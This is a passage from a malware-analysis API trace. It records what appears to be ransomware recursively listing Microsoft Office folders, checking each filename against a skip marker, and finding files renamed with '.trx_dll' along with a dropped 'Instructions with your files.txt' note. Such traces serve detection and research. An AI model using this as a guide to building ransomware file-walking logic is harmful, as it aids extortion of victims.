[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned 50
[0131.853] StrStrIW (lpFirst="MySite.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 64
[0131.853] StrStrIW (lpFirst="SharePointPortalSite.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned 62
[0131.853] StrStrIW (lpFirst="SharePointTeamSite.ico", lpSrch="SDfghjkl") returned 0x0
[0131.853] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1
[0131.853] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned 50
[0131.853] GetProcessHeap () returned 0x810000
[0131.853] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.853] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*") returned 52
[0131.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.854] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\.") returned 52
[0131.854] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\..") returned 53
[0131.854] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb1d877c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1d877c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned 55
[0131.854] GetProcessHeap () returned 0x810000
[0131.854] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 57
[0131.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb1d877c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1d877c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\.") returned 57
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb1d877c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1d877c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\..") returned 58
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 76
[0131.854] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 76
[0131.854] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 77
[0131.854] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1d877c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1d877c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21198c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Instructions with your files.txt") returned 88
[0131.854] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.854] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
[0131.854] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 73
[0131.854] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 76
[0131.855] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 75
[0131.855] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 76
[0131.855] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 75
[0131.855] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 74
[0131.855] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 75
[0131.855] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 76
[0131.855] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 77
[0131.855] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 75
[0131.855] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 74
[0131.855] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
[0131.855] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 75
[0131.855] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.855] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 76
[0131.856] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 77
[0131.856] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 77
[0131.856] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 73
[0131.856] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.856] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
[0131.856] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 74
[0131.856] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
